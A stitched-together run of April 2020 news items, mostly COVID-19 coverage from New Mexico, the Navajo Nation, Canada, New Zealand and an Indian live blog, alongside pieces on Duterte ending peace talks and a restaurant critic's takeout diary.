Esperon said the President's recent statement was a reiteration of the position he took in November 2017. In a nationwide address on Monday, Duterte ended peace efforts with the rebels, saying the Communist Party of the Philippines (CPP) "does not respect" its own pledge to carry out a ceasefire. There are no more peace talks to talk about," the President said in a taped message. "I am not and will never be ready for any round of talks." This came in the wake of reports that two Philippine Army soldiers were gunned down by members of the New People's Army (NPA) in Aurora Province a week ago. The slain soldiers, identified as Pfc. Ken Lester Sasapan and Pfc. Jackson Mallari, were reportedly guarding the distribution of government aid to communities under quarantine when they were ambushed. It is a sad thing to know na 'yung mga sundalo ko pinagpapatay [that my soldiers are being killed], while even doing the most honorable task of accompanying the government workers delivering money and food, Duterte said. The NPA and the Communist Party of the Philippines have no respect either for their spoken words or in their deeds of killing soldiers who are on humanitarian missions, he added. P erennial retail struggler Marks & Spencer today disappointed investors by admitting it failed to cash in on the food buying boom as rivals raked in record sales. The food to fashion retailer is more focused on food to go than rivals, meaning a lack of workers in town centres buying lunch or travellers passing through train stations has hurt it more than rivals. Supermarket sales boomed at the onset of Britains lockdown as shoppers panic bought food from supermarkets. Kantar data today showed grocery sales were 524 million higher in the past four weeks than they were in April 2019 with households making a record low 14 shopping trips in that time. Tesco boss Dave Lewis today told the BBC that one big weekly shop is now back in fashion. Online sales also surged and now account for 10.2% of food spending. M&S, which doesnt have an online operation, said: Food trading has been adversely affected by lockdown due to the closure of cafes and slowdown in travel and some city centre locations. A planned joint venture with Ocado to launch M&S food online is on track to launch in September. Chief executive Steve Rowe was already battling to turn around the retailer before the onset of the crisis, as its clothing arm struggled to keep pace with rivals. Today it said: We are planning for the clothing and home business to be severely constrained during lockdown and highly uncertain trading conditions in a prolonged exit period. The retailer said it has enough funds to get it through at least the next 18 months. Shares fell 1% to 93.4p. Non-food retailers are awaiting permission to reopen from Government, likely with social distancing measures. Fashion retailers may be asked not to open changing rooms. Its clear that those of us who write about restaurants and food are wallowing in a sort of industry soup, looking for signs of health in a decimated industry and decrying allocated relief funds that somehow missed the small businesses they intended to help. We also marvel at restaurant ingenuity, from accepting orders by Instagram direct message to collaborations between cafes and farms, with farms supplying restaurants-turned-grocers and restaurants as collection sites for small, farm-run CSAs. CLICK HERE: Some of the best places to get takeout in the Capital Region. In between more serious columns examining the risk of takeout for line staff and the chance that relief assistance could actually work, Tejal Rao and Pete Wells, respectively the Los Angeles and New York City restaurant critics for The New York Times, wrote about soothing YouTube videos. Rao covered the ASMR-heavy, self-sufficient farm charm of Chinese star Li Ziqi, while Wells extolled the meditative effects of a sheep video on a loop. Like the rest of us sheltering in place, they clearly needed a salve for frayed souls. Both Soleil Ho, restaurant critic for the San Francisco Chronicle, and Adam Platt of Grub Street/New York magazine, found inspiration in beans, the pulse obsession hotting up social media alongside viral sourdough starters in these yeast-challenged times and the global obsession with baking bread. Restaurant critic Marina OLoughlin of the UK Sunday Times has been cooking dinner under the watchful iPad instruction of Londons revered, now unemployed, chefs in an extreme illustration of the uneasy alliance forged between restaurateurs and those paid to impartially cover them. Each of us has penned some form of love letter to a shuttered restaurant, a missed favorite plate or the hospitality industry at large. We love and miss you, we feel compelled to say; we want you back, healthy and whole. In that spirit, Ive continued to support restaurants in their efforts to stay afloat: Ordering takeout and delivery once or twice a week, weighing risk and observing as mask- and glove-wearing evolve from voluntary to mandatory over what, weeks? Months? Contactless collection has beaten out entering establishments, though Im never without Lysol wipes to disinfect to-go bags in my car. Drives to Saratoga Springs and Glens Falls, Hudson, Schenectady, Colonie and Troy feel like pilgrimages, phoning my arrival until someone appears to press dinner through my car window. Thats the sliver where humanity still lives: In smiling eyes above a facemask; the brief exchange about brisk or slow business; thoughtful handwriting labeling containers or putting a heart above the i in my name. CLICK HERE: Guide to restaurants still open during the coronavirus outbreak Weeks are slowly taking shape, with Taco Tuesdays and combo-dinner Thursdays. One Tuesday, we poured Mason-jar margaritas into glasses and spread out a family-style Oaxacan taco feast from Tatu Taco & Tequila in Saratoga, then forked tangled shredded pork onto soft corn masa tortillas, crumbled cheese and spooned salsa. Another week, we unpacked the taco bar from Toro Cantina in Colonie, marveling at the meals meticulous deconstruction: Tiny candied jalapeno curls and fresh lime wedges for the Fuego cocktail; hand-labeled tubs naming crema, salsa verde, salsa roja, salsa negra and thick house salsa puree. Foil trays of lamb barbacoa, green rice, soupy black beans and diced sweet potato smudged with huitlacoche, the black corn fungus. Setting it out was to explore a feast wed expected to try in Toros expensively decorated space. But takeout can deliver comfort as well as those soothing YouTube videos. Fat droplets shimmer on the surface of brothy pho from Quangs Vietnamese in Troy. Boxed separately, the noodles stayed supple, the fresh herbs and blood-red chile fiercely bright. Sunhees Farm & Kitchen has been collaborating on $50 Thursday dinners with Collar City colleagues: a boxed smorgasbord with chicken and sticky rice from Lime Leaf, dukbokki from K-Plate, spring rolls from Quangs, YesFolk kombucha and a red paper lantern to recreate a Ferry Street Night Market scene in quarantine. Offering snack boxes from their Asian grocery supplies, theyre now selling D.I.Y. kimchi kits that replace in-house classes started not long ago. Sign up for The Knick Get the latest news and some area history with our afternoon newsletter. From Radici, the new Glens Falls restaurant from chef Brian Bowden, I order menu items we ate just days before the shutdown: Cloudlike ricotta gnocchi with ragu, charred beets, a tomato and avocado salad with buttermilk ranch and basil puree. From Pecks Arcade in Troy, its another Thursday combo: A hearty slab of eggplant Parm with pasta, Caesar salad, garlic bread and a bottle of Barbera. The $50 dinner for two easily feeds three. It felt right to choose pillowy duck confit bao and a Highland Hollow beef burger from Malcolms in Schenectady, where the farm-sourced food has cult appeal. And though takeout from Celadon Thai in Latham isnt unusual, its curbside delivery by a masked owner was in line with the times. Green peppercorn chicken and tom yum and coconut tom kha soup scented the car on the way home; sticky rice soon pressed into enamel bowls with crispy duck, softened by condensation, arranged on a plate. I read with interest that Blue Hill at Stone Barns, chef Dan Barbers Tarrytown restaurant, was selling build-your-own meals with raw and fermented vegetables from their larder, meat, bread and instructions for cooking at home. Soon, upscale 15 Church (Saratoga) and 677 Prime (Albany) reappeared on the scene with family-style dinners that, to some degree, put their fine dining experience in more affordable reach. Yonos, busy feeding those in need as a kitchen for the Feed Albany initiative, offered a pop-up, family-style dinner of stir-fried Indonesian bakmi for one night last weekend. A vegetarian version cost $50 for five to six; the luxury lobster upgrade, $85. In the resulting traffic jam around the downtown restaurant after an error in online ordering failed to halt sales, some people waited 90 minutes yet still laughingly told staff it was the first time they were happy to sit in traffic. I gratefully collected fresh bread from the shuttered Placid Baker, rationing slices for breakfast toast long after the last honey-wheat loaf was hard. Sunday mornings became a game: Would it be a monster egg-and-sausage biscuit and mimosa from Nighthawks, a breakfast burrito from Little Pecks or our favorite bagels from Broad Street Bagel Co. in Kinderhook? Too many times I missed the window to pre-order frittatas from Cakerino in Rensselaer before it briefly closed to re-evaluate curbside safety. While restaurants like Allie Bs Cozy Kitchen and The Cuckoos Nest accept donations and deliver meals to hospital workers and those in need, its no surprise to find ourselves wanting to cook for friends: briskets, sheet-pan dinners, stewy tagines, rustic galettes. I reuse carefully saved takeout containers and fill them with slabs of cheesecake or slow-roasted ribs, don my mask and drive around, climbing back in my car as friends wave thanks from their front doors. Updates related to COVID-19 and its effects on Albuquerque and the rest of NM. PICTURES UPDATES 7:53 p.m. Navajo Nation COVID-19 cases increase by 104 There are a total of 1,873 COVID-19 cases on the Navajo Nation, an increase in 104 from Mondays reports. One additional COVID-19 death was reported Tuesday by the Navajo Department of Health, Navajo Area Indian Health Service and the Navajo Epidemiology Center, bringing the total number of deaths on the reservation to 60. The Navajo Health Command Operations Center reports a total of 7,816 negative test results. Reservation cases in McKinley County, New Mexico, now top all other counties on the Navajo Nation. There are 469 confirmed COVID-19 cases on the reservation in McKinley County. Native Americans, which represent 11% of New Mexicos population, make up 50% of the states COVID-19 cases, according to data from the New Mexico Department of Health. In Arizona, Native Americans represent 13% of the states COVID-19 cases and 5% of the population, according to the Arizona Department of Health Services. The Navajo Nation will implement another 57-hour curfew this weekend, according to a news release. How to help . Theresa Davis 4:24 p.m. NM announces 6 more virus deaths, 153 new cases Six more adults died in New Mexicos coronavirus outbreak, state health officials said Tuesday, pushing the statewide total to 110. Four of the six fatalities were individuals from McKinley or San Juan counties in the northwestern part of the state, where the virus has been especially difficult to contain. Health officials said Tuesday that testing had also confirmed 153 additional virus cases statewide, bringing the total to 2,974. Read more >> Dan McKay 4:12 p.m. State health care providers to receive $56 million COVID-19 funding Eighty four New Mexico health care providers received over $56 million to aid in the fight against the COVID-19 pandemic, the states congressional delegation announced Tuesday. The funding comes from the Coronavirus Aid, Relief, and Economic Security Act, which pushes the total health care funding in the state from coronavirus legislation to more than $226 million, the lawmakers said in a news relief. More funding is expected to be on the way through the CARES Act and an interim coronavirus aid package passed last week. According to the release, the funding was allocated based on hospitals and providers 2018 net patient revenue. No repayment is required. The funding is allocated as direct grants, the lawmakers said. Scott Turner 3:56 p.m. APS among school districts urging for more federal funding Albuquerque Public Schools Superintendent Raquel Reedy is calling for more federal dollars to go toward schools amid the COVID-19 pandemic. Reedy signed a letter drawn up by the Council of the Great City Schools that asks for $175 billion for education in the next coronavirus appropriations bill. The letter, addressed to Speaker of the House Nancy Pelosi and others, also urges Congress to earmark billions of dollars for special education and low-income families. Read more >> Shelby Perea 2:37 p.m. Records suggest 2 more MDC inmates positive for COVID-19 Two more inmates at the Metropolitan Detention Center appear to have tested positive for COVID-19, according to documents obtained by the Journal. MDC documents turned over to defense attorney Christopher Dodd in response to a public records request show that a male and female inmate have tested positive for COVID. The documents dont say when the jail learned of the positive tests. MDC announced in late March that an inmate tested positive for COVID-19. Larry Gallegos, a Bernalillo County spokesman, said he wasnt aware of the additional positive tests but said he would look into it. Three tests are still pending, according to the documents. Edmundo Carrillo 11:03 a.m. Kirtland jet fuel spill meeting canceled A public meeting about the jet fuel spill cleanup at Kirtland Air Force Base has been canceled because of the COVID-19 pandemic. The meeting had been scheduled for Thursday, but the base would not have been able to comply with requirements set by New Mexico Gov. Michelle Lujan Grishams public health order, according to a news release sent out by the base. The Air Force is still planning to hold a July 23 open house at the Bulk Fuels Facility used in the cleanup, the release said. Its unfortunate that we are forced to cancel this opportunity to inform local residents of our progress, said Kate Lynnes, Senior Advisor for the BFF Project. But public safety is the first priority. We are still hard at work on our cleanup efforts. Quarterly groundwater and soil vapor monitoring is on schedule and the groundwater treatment system is operating at full capacity. According to the release, the Air Force reached an agreement with the New Mexico Veterans Memorial to host the public information repository at the Veterans Memorial facility. The service will be open to the public once restrictions are lifted. Scott Turner 8:40 a.m. Portraits of Lives Lost They were world travelers and blue-collar workers. Mentors and trailblazers. A high school basketball coach and a classroom grandmother. Almost seven weeks after the first case of COVID-19 was reported in the state, the virus has felled more than 100 New Mexicans. They were grandparents, wives and mothers. Husbands and fathers. Sons and daughters. Read more about them >> Elise Kaplan, Matt Reisen, Martin Salazar 6:05 a.m. Navajo Nation COVID-19 hotspots shifting east The Navajo Nation reported 53 new COVID-19 cases on the reservation Monday, bringing the total to 1,769 cases. There remains a total of 59 deaths from the disease, according to the Navajo Department of Health, Navajo Epidemiology Center and the Navajo Area Indian Health Service. Navajo Nation President Jonathan Nez hosted a video update Monday from a community center in Chinle, Arizona, where tribal leadership is working with the U.S. Army Corps of Engineers to build an alternative care site. The 50-bed facility will house a potential overflow of COVID-19 patients as they recover, in an effort to prevent community spread of the disease. A similar facility was completed at a high school gym in Gallup, New Mexico. Nez said a middle school in Shiprock will be a third alternative care site. We are building these facilities just to be on the safe side, and were hoping and praying we dont need (them), Nez said. We have to prepare for the worst. Nez expressed concern about the shift of COVID-19 hotspots from the western Navajo Nation to eastern and northern portions of the reservation, including in towns that border tribal land. When we tell our citizens to stay home, we ask that you stay home please, Nez said. I dont know why the increase in Gallup and Farmington, but you know a lot of us go over there to shop .. home is the safest place to be. A majority of New Mexicos new COVID-19 cases in the last several days have been in McKinley and San Juan counties, which overlap with the Navajo Nation. McKinley County has the most COVID-19 cases of any county in the state. Native Americans represent 49.8% of the states COVID-19 cases, New Mexico Department of Health data shows. How to help. Theresa Davis (Getty Images) Rising unemployment and high debt is expected to boost mortgage loan delinquencies in Canada, though experts say it wont play out like the U.S. subprime mortgage crisis of 2008. I definitely feel like were not going to see the delinquency rates that we saw in the U.S. during the financial crisis. Its not going to be anywhere near that, explained Susan Hosterman, the senior director of North American RMBS and covered bonds, citing historically low delinquency rates in Canada, So I dont think well see those levels with just how pro-active the banks are being with working with the borrowers. In 2008 U.S. household debt reduced dramatically. Obversely, these past few years had Canadians fuelling these debt loads even further, and it has prompted concerns that the country would face its own debt reckoning during COVID-19 with a surge in mortgage arrears and delinquencies. The current financial environment does raise many red flags: the country lost over one million jobs last month and Canadians are finding it more challenging to keep up with bills. These challenges are exacerbated by burgeoning Canadian debt loads (with a household debt to personal disposable income ratio of 166.5 per cent by Q3 2019) that have long gone unaddressed. This is the risk that will confront Canadian households during the recession and recovery, according to Craig Alexander, the partner and chief economist at Deloitte: One of the great legacies of the current crisis is that after the pandemic has passed, were going to have more indebted households, he explained. So I think the issue around leverage isnt going to go away, in fact, I think it will become more acute. As the U.S. de-leveraged its debt after the recession in 2008-2009, Canadians fueled their households with higher debt loads. This high rate presents strong risks heading into the COVID-19 recession. Even though Canadians shoulder high debt loads, they have a strong track record of keeping current with their mortgage payments. The rate of mortgage arrears in Canada stood at a fraction of a per cent for over ten years, most recently standing at 0.24 per cent as of October 2019, according to the Canadian Bankers Association. This rate floats along with the unemployment, a metric that saw a large jump in March to 7.8 per cent from 5.6 per cent. Story continues The rate of mortgage arrears floats with the unemployment rate - a figure that saw a significant jump in March to 7.8 per cent from 5.6 per cent. Ben Rabidoux, president at North Cove Advisors, explained that the data already show some foreboding figures. Theres early tentative credit card data coming in from credit card trust portfolios. And as expected, the arrears rates are starting to rise [and] the loss rates are starting to move up. The severity of the losses will largely be determined by the duration of the economic lockdown along with the steepness of the recession. There hasnt been a playbook in economic history that can describe what mortgage market impact the current environment could have. Really, nothings off the table right now so we dont have any clue on how this is going to play out, Rabidoux said. All risks considered, analysts like Hosterman are confident that the Bank of Canadas co-ordination with Canadas five largest banks and the strong borrower-lender dynamics in Canada will mitigate the risks. Alexander agrees. Theres a bunch of reasons to suspect that this will lead to more mortgage arrears and in some cases, more mortgage defaults, he explained, But it may not spike the way you think in line with the depth of the recession and theres a variety of reasons for that. The reasons included the mortgage deferral measures taken by the banks, and the market being dominated by prime mortgages (as opposed to the subprime mortgages in the U.S., many of which defaulted leading into the 2008 crisis). Canadians are more likely than Americans to have most of their loans in one bank. This means that banks have a strong incentive to working with their financially ailing customers to keep their patronage. Theres an old adage about banks giving out umbrellas when its sunny and taking it away when it rains, Alexander explained, But the banking system in Canada has figured out that if you do that, you permanently lose customers. And so its in the banks interest to renegotiate the terms to show flexibility. This contrasts to how loans are organized in the U.S., with most Americans having their mortgage, auto loan, line of credit at different institutions. Another difference between Canada and the U.S. is that Canadians are much less likely to strategically default on a mortgage because of recourse laws, according to Hosterman and Alexander. While its convenient to use the last recession as a point of comparison, Rabidoux cautioned against comparing an economic impact of this magnitude to the steep, swift recession of 2008 - particularly when it comes to the U.S. figures: We draw this weird line in the sand in Canada and thats been the narrative for ten years. Well, if were not as bad as the U.S., then were fine. And to me, thats just a bizarre way to think about it, he explained. There is a broad grey area between Canadas historically low arrears rates and the 11.54 per cent peak rate the U.S. just after the crisis. Theres a lot of pain between here and there, said Rabidoux, Were going to land somewhere on the pain spectrum. For the duration of the COVID-19 crisis, Please Explain is coming to you five days a week. In today's episode of Please Explain, national editor Tory Maguire is joined by chief political correspondent David Crowe to discuss the conflict between the federal and state governments over returning to school in the classroom in the midst of the COVID-19 pandemic. Become a subscriber Our supporters power our newsrooms and are critical for the sustainability of news coverage. Wellington: New Zealanders queued for burgers, fries and coffee takeaway on Tuesday after they were freed from a month-long lockdown, which Prime Minister Jacinda Ardern has credited with eliminating domestic transmission of the coronavirus. Around 400,000 people returned to work after Ardern shifted the country's alert level down to three, loosening some tough movement restrictions that shut down businesses for weeks. Workers prepare food for drive-through customers as level four COVID-19 restrictions are eased in Christchurch, New Zealand. Credit:AP "It's hard to explain how good this tastes," Christopher Bishop, an MP, said on Twitter after posting a picture with a takeaway coffee cup. Long queues of cars snaked up to McDonald's outlets in Auckland and Wellington from the early hours as people sought a fast food fix. Coronavirus Outbreak LIVE Updates: The Ministry of Home Affairs (MHA) on Wednesday said that the new guidelines issued to fight COVID-19 will come into effect from 4 May, 'which shall give considerable relaxations to many districts. Details regarding this shall be communicated in the days to come.' Auto refresh feeds The total number of confirmed coronavirus cases in India inched towards 30,000, with 1,594 new infections reported on Tuesday. The total deaths due to COVID-19 rose to 937 on Tuesday, with 50 new patients succumbing to the virus in 24 hours. Additionally, more than 7,000 have recovered. The official said so far 60 people have tested positive for the virus, of which 31 have recovered. At present, 29 are under treatment, he said. The bank employee himself gave his blood sample for testing as he was feeling unwell. The bank has been sanitised as closed. Its 15 employees have been quarantined. Their family members will also be quarantined. An employee of a nationalised bank and a doctor have tested positive for coronavirus, an official said here on Tuesday. Chief Medical Officer Dr NK Gupta said both have been shifted to a Sahibabad hospital. Fifteen members of the crime branch team, who came in touch with the constable, have been advised home quarantine. So far, 1,078 COVID-19 patients have recovered and there are 2,182 active cases in Delhi. The number of containment zones in the city reached 100. Among the 3,314 cases includes a Delhi Police constable attached to the crime branch. The constable had visited the Tablighi Jamaat religious congregation in Nizamuddin, which had last month become the epicentre of the COVID-19 spread. The total number of COVID-19 cases in Delhi rose to 3,314 on Tuesday, even as 201 coronavirus patients recovered from the disease, the highest so far in a day with no fatalities, authorities said. No death was reported for the third consecutive day in the National Capital. Ranchi Senior Superintendent of Police Anish Gupta said action would be taken if any person flouts the lockdown guidelines. Ray held a meeting with the CRPF and district officials on Tuesday, a day after the Jharkhand government decided to deploy personnel from the central para-military force amid rising coronavirus cases, mostly in that locality. The administration would provide ambulance in case of any emergency medical requirement, he said. CRPF jawans are being posted in three shifts at Ranchi's Covid-19 hotspot Hindpiri locality to ensure that people strictly follow lockdown rules, an official said on Tuesday. Residents of Hindpiri are not allowed to enter or leave the area, Ranchi Deputy Commissioner Rai Mahimapat Ray said. On 18 March, the court had told the commission to conduct the elections to the corporations within six weeks. The bench of Chief Justice Inderjeet Mahanty and Justice S K Sharma, which heard the plea, extended the deadline for conducting the elections to three corporations till 31 August. The commission argued that it was not possible to hold the polls amid the ongoing lockdown imposed to combat the coronavirus threat. The Rajasthan High Court on Tuesday extended the deadline for conducting elections to Jaipur, Kota and Jodhpur municipal corporations till 31 August. A plea was moved before the court by the state election commission seeking an extension of the deadline for elections to the three corporations. Passenger demand will take "several years" to return to 2019 levels, it added. The firm said it was still deliberating its options but that it was "likely that they will affect most of British Airways' employees and may result in the redundancy of up to 12,000". British Airways is set to slash up to 12,000 jobs as part of a restructuring plan as the carrier grapples with the fallout of the novel coronavirus pandemic, its parent company IAG said Tuesday. The US on Tuesday became the first country in the world to have more than one million cases of coronavirus. It accounts for nearly one-third of the 3.1 million cases globally. With nearly 59,000 deaths, the US also accounts for one-fourth of the over 213,000 global fatalities. "We continue to pray for the victims as well as for those Americans who are grieving their lost ones and their loved ones. There's never been anything like this. We suffer from one heart but we will prevail. We are coming back, and we're coming back strong," US President Donald Trump said at the White House during his remarks on the Paycheck Protection Program. The number of people infected by the coronavirus in the United States crossed one million and the fatalities jumped to nearly 59,000, but several states initiated the process to reopen their economies amidst signs of decline in both new cases and deaths. Sixty-eight veteran residents who tested positive for the virus have died, officials said Tuesday, and it's not known whether another person who died had COVID-19. Another 82 residents and 81 employees have tested positive. "It's horrific," said Edward Lapointe, whose father-in-law lives at the home and had a mild case of the virus. "These guys never had a chance." While the death toll at the state-run Holyoke Soldiers' Home continues to climb, federal officials are investigating whether residents were denied proper medical care and the state's top prosecutor is deciding whether to bring legal action. Nearly 70 residents sickened with the coronavirus have died at a Massachusetts home for aging veterans, as state and federal officials try to figure out what went wrong in the deadliest outbreak at a long-term care facility in the US. LNJP authorities refuted the allegations, saying, this patient "required psychotherapy and counselling that was arranged for him. He is currently being attended to by specialists in the field". There was no problem of food or water in that particular ward or any other ward of the hospital, a senior official of the hospital said. In the video, he alleges that he was kept on a bed in a ward that had "dead bodies next to his bed" and that he was not getting good on time. The video circulating on WhatsApp and other networking platforms show a man, wearing a mask, who apparently shot the video inside the ward of LNJP Hospital where he is admitted. A video has surfaced on social media in which a coronavirus patient has alleged that he was kept on a bed "next to dead bodies" at a hospital in Delhi, a charge refuted by authorities at the facility. He also said that vehicles engaged in the movement of essential goods and banking services are exempted and the order to remain in effect till 3 May 2020. Travel of government employees and common people from neighbouring states and districts to Faridabad is now prohibited under the new guidelines issued by the government. "Doctors, paramedical staff, police & bank employees to be permitted on producing their identity cards, only till 12 pm on Wednesday", Yash Pal, Deputy Commissioner, Faridabad told ANI. "Of the two new COVID-19 cases, one is a nurse in General Surgery Ward and the other is an attendant of a patient admitted in Urology department," said Thapliyal. Two more people have tested positive of coronavirus in All India Institute of Medical Sciences (AIIMS) hospital, said Harish Thapliyal, AIIMS spokesperson on Tuesday. "We are taking strong action against everyone involved in the incident at Tikiapara, Howrah, today. The perpetrators will be identified and brought to justice. No transgression of the law anywhere will be tolerated," West Bengal Police tweeted. The crowd which had gathered in the market defying the lockdown, pelted stones at police officials following which heavy police force and RAF have been deployed in the area. State police said that it is taking strong action against the people involved in the incident. Two police personnel were injured after they were attacked by a mob when they tried to disperse a crowd in a marketplace in Tikiapara of Howrah on Tuesday. Leaders of the US, the UK, and Germany believe that the deaths and the destruction of the global economy could have been avoided, had China shared the information about the virus in its early phases. Trump has been publicly blaming China for the global spread of the "invisible enemy" and launched an investigation against it. He has also indicated that the US may be looking at "a lot more money" in damages from China than the USD 140 billion being sought by Germany from Beijing for the pandemic. US President Donald Trump doubled down on China for failing to tame the coronavirus at its very origin, saying it has led to 184 countries "going through hell", as several American lawmakers demanded steps to reduce dependence on Beijing for manufacturing and minerals. 73 deaths and 1,897 new cases were reported in the last 24 hours, the sharpest ever increase in COVID-19 deaths in India. Among the team that was manhandled was ASHA worker Anita. "We had gone for the COVID-19 survey. We had collected the data of all families. When we went to the last house, they told us to strike off all names. One woman took our register and started doing that. She also tore pages off the register. We received some injuries," she told ANI. A medical team which went to Makhanpur village in Uttarakhand's Haridwar district on Tuesday was misbehaved with and manhandled while carrying out a COVID-19 survey. An FIR was registered and one person was arrested, while the search to nab those absconding continues. HDFC was the top gainer in the Sensex pack, rallying nearly 5 percent, followed by Bajaj Finance, HDFC Bank, Tech Mahindra, M&M, Reliance Industries and NTPC. After hitting a high of 32,431.20, the 30-share index was trading 285.83 points or 0.89 percent higher at 32,400.35. Similarly, the NSE Nifty advanced 78.95 points, or 0.84 per cent, to 9,459.85. Equity benchmark Sensex surged over 300 points in opening trade on Wednesday led by buying in index-heavyweights HDFC twins and positive cues from Asian peers. With this, Maharashtra COVID-19 figures are as follows: Positive cases-9,318, deaths-400, discharged-1,388, active cases-7,530 and people tested so far-1,29,931. Mumbai city reported an increase of 393 COVID-19 cases on Tuesday, taking its tally to 6,169. The state capital has reported deaths of 244 patients so far. Maharashtra reported 729 new coronavirus cases on Tuesday, taking the state's tally to 9,318, a health official said. The state also reported 31 more deaths due to the disease, raising the toll to 400, he said. Under the model, the state screened its entire population for influenza-like symptoms. People who did not improve after initial medication were put through a reverse transcription-polymerase chain reaction (RT-PCR) test, the report suggests. Prime Minister Narendra Modi has asked states to consider the Himachal Pradesh model to combat the novel coronavirus outbreak in the country, according to a report by The Economic Times. Earlier, the Academy required that a film be shown in a commercial motion picture theatre in Los Angeles County for a theatrical qualifying run of at least seven consecutive days, during which period screenings must occur at least three times daily. The organisers of the annual awards made the announcement on Tuesday, adding that the COVID-19 outbreak had forced the Academy to make the "temporary exception" due to the shutdown of theatres. The Academy of Motion Picture Arts and Sciences will allow only films streamed online for the forthcoming Oscars in the wake of the industry-wide shutdown caused by the coronavirus pandemic. At the interbank foreign exchange, the rupee opened at 75.94, then gained ground and touched 75.84, registering a rise of 34 paise over its previous close. On Tuesday, the rupee had settled at 76.18 against the US dollar. Forex traders said a positive start of domestic stocks supported the local unit. Besides, market sentiments improved as more countries are announcing the gradual lifting of lockdowns that have been imposed to contain coronavirus infection. The rupee appreciated 34 paise to 75.84 against the US dollar in early trade on Wednesday tracking positive opening of domestic equities and weakness in the American dollar. "Azadpur Mandi is being properly disinfected. All the shops nearby, where COVID-19 positive cases were reported, have been sealed. All the precautionary measures are being taken," said Delhi Health Minister Satyendra Jain. About 11 traders associated with Delhi's Azadpur vegetable market have tested positive for coronavirus on Wednesday, reports ANI. "We are tracing the contacts of the cases. They are not directly connected to the mandi," clarified District Magistrate (North) Deepak Shinde. The agencies estimate that the number of women unable to access family planning or facing unintended pregnancies, gender-based violence and other harmful practices, could "skyrocket" by millions due to the crisis. Ongoing lockdowns and major disruptions to health services during the COVID-19 pandemic could leave 47 million women in low and middle-income countries unable to use modern contraceptives, leading to seven million unintended pregnancies in the coming months, according to data released by the UN Population Fund (UNFPA) and partners, reports PTI. The Indian Navy is readying its Landing Platform Dock warship INS Jalashwa and two Magar class amphibious warships for evacuating Indian citizens from Gulf countries, if required, government sources told ANI. According to the Ministry of National Health Services, 3,425 people have recovered from the contagion while 129 were still in critical condition. Pakistan's coronavirus cases have climbed to 14,885 while the death toll from the pandemic has reached 327 with 26 more fatalities, the health ministry said on Wednesday. According to the latest data provided by the department of health and family welfare in Andhra Pradesh, the state recorded 73 new coronavirus cases, taking the total number of cases to 1,332. An 11-month old baby among 73 new coronavirus cases reported in the state, PTI reports. 400 persons have been cured of the disease in the state while 31 have succumbed to it. 20 more persons have tested positive for COVID-19 in Uttar Pradesh. "20 out of 725 samples have tested positive for coronavirus. 4 are from Lucknow, 9 are from Agra and 7 are from Firozabad," King George's Medical University (KGMU), Lucknow said in a release on Wednesday. Amid a lot of speculation regarding 10th CBSE Board exams, the board on Wednesday reiterated that the boards decision to take board exams for 29 subjects of Class 10 and 12, stands the same as mentioned in circular dated 1 April 2020. It provides a process of high importance for strategic planning and mobilising medical needs during a pandemic, they said. This new data discovery tool will allow researchers to quickly and easily classify a deadly virus like SARS-CoV-2 in just minutes, according to the researchers, including Gurjit Randhawa from Western University in Canada. Scientists, including one of Indian origin, have used artificial intelligence (AI) to identify an underlying genomic signature for 29 different DNA sequences of the novel coronavirus that causes COVID-19, providing an important tool for vaccine and drug developers. The fresh case was reported from Bhubaneswar after a gap of 14 days. The previous case was reported on 14 April. The total number of persons infected with the deadly virus in the city is 47. Of them, 20 are undergoing treatment, and 26 have recovered. A person died on 6 April. The man, a resident of the Madhusudan Nagar area of the city, got infected after coming in contact with a relative who tested positive some days back, the Information and Public Relation department said. A 77-year-old man from Bhubaneswar tested positive for COVID-19 on Wednesday, taking the total number of cases in the state to 119, officials said. Provisions for punishment for those attacking frontline COVID-19 workers like medical and sanitation workers, and police personnel will also be there in the ordinance, they said. The state government is mulling over bringing an ordinance called the 'Uttar Pradesh Epidemic Disease Control Ordinance, 2020', they said. It will also have provisions for strict punishment against those running away from quarantine centres, besides for people caught violating lockdown orders, the government sources said. The Uttar Pradesh government is contemplating to bring an ordinance with provisions for stringent punishment against those flouting lockdown orders and misbehaving with frontline COVID-19 workers, sources said. He was then taken to the Aberdeen police station where he spent the night in a lockup, it said. Zubair Ahmed, the editor of 'Light of Andaman, a popular weekly newspaper which is now published online, was summoned to the Bambooflat police station in South Andaman district on 27 April for questioning over his tweet and then arrested, police said on Tuesday. The charges under which Zubair Ahmed has been booked include one about circulating "rumour". A well-known journalist was arrested in the Andaman and Nicobar Islands over a tweet where he questioned the rationale of the authorities allegedly asking people to be home-quarantined after they had spoken to COVID-19 patients by phone, police said on Wednesday. A number of students from Maharashtra have been staying at Kota to take coaching classes for the preparation of various competitive entrance examinations after Class 12. "The buses will leave from Kota on Thursday morning," the Maharashtra State Road Transport Corporation (MSRTC) official said, adding that only 20 students will be allowed in each bus and the vehicles will halt at two to three places for food breaks. At least 70 state transport buses left from Maharashtra on Wednesday morning to bring back students stranded at Kota in Rajasthan due to the coronavirus-enforced lockdown, an official said. The vehicles left from Maharashtra's Dhule district around 10.30 am and will reach Rajasthan by Wednesday night, he said. In Chennai, Coimbatore and Madurai, on 30 April, shops will open from 6 am to 5 pm for essential items, vegetables, and fruits. From 1 May the shops will open from 6 am to 1 pm. People are advised not to rush to shops to buy essential items, Tamil Nadu CM Edappadi Palaniswami. Karnataka health department said on Wednesday that 9 new COVID-19 cases have been reported from 28 April 5 pm to 29 April 12 pm. The total number of COVID-19 cases rise to 532 in the state including 20 deaths and 215 discharges. The shutdown in the corporation limits of Chennai, Madurai and Coimbatore, scheduled to end by Wednesday night, will revert to the pre-April 26 conditions, an official release here said. Amidst rising Covid-19 cases in the state, Chief Minister K Palaniswami had on April 24 announced a complete shutdown from Sunday (April 26) in Chennai, Coimbatore and Madurai for four days, disallowing grocery shops as well and fully curtailing movement of the public. It also announced a relaxation in the business hours of shops selling essential items including vegetables for April 30, saying they can function from 6 AM to 5 PM. The Tamil Nadu government on Wednesday said the four-day total shutdown in Chennai, Madurai and Coimbatore Corporation limits ending by today will not be extended. India has been under lockdown since March 25 to curb the spread of the novel coronavirus. All commercial passenger flights have been suspended for this period. Ajay Singh, Chairman and Managing Director, SpiceJet, said, With the addition of Kuala Lumpur to our international cargo network, SpiceJet is now operating regularly to over fifteen international destinations carrying essential and medical supplies." The flight departed from Hyderabad to Kuala Lumpur in Malaysia at 11 pm on Tuesday, the budget carrier stated in a press release. Amid the coronavirus lockdown, SpiceJet said on Wednesday that it operated its maiden freighter flight to Kuala Lumpur carrying around eight tonnes of critical medical supplies. Members of the survey squads moving in the coronavirus containment zones and medical workers at hospitals in areas whereCOVID-19 cases are found will also be given the medicine. State health secretary 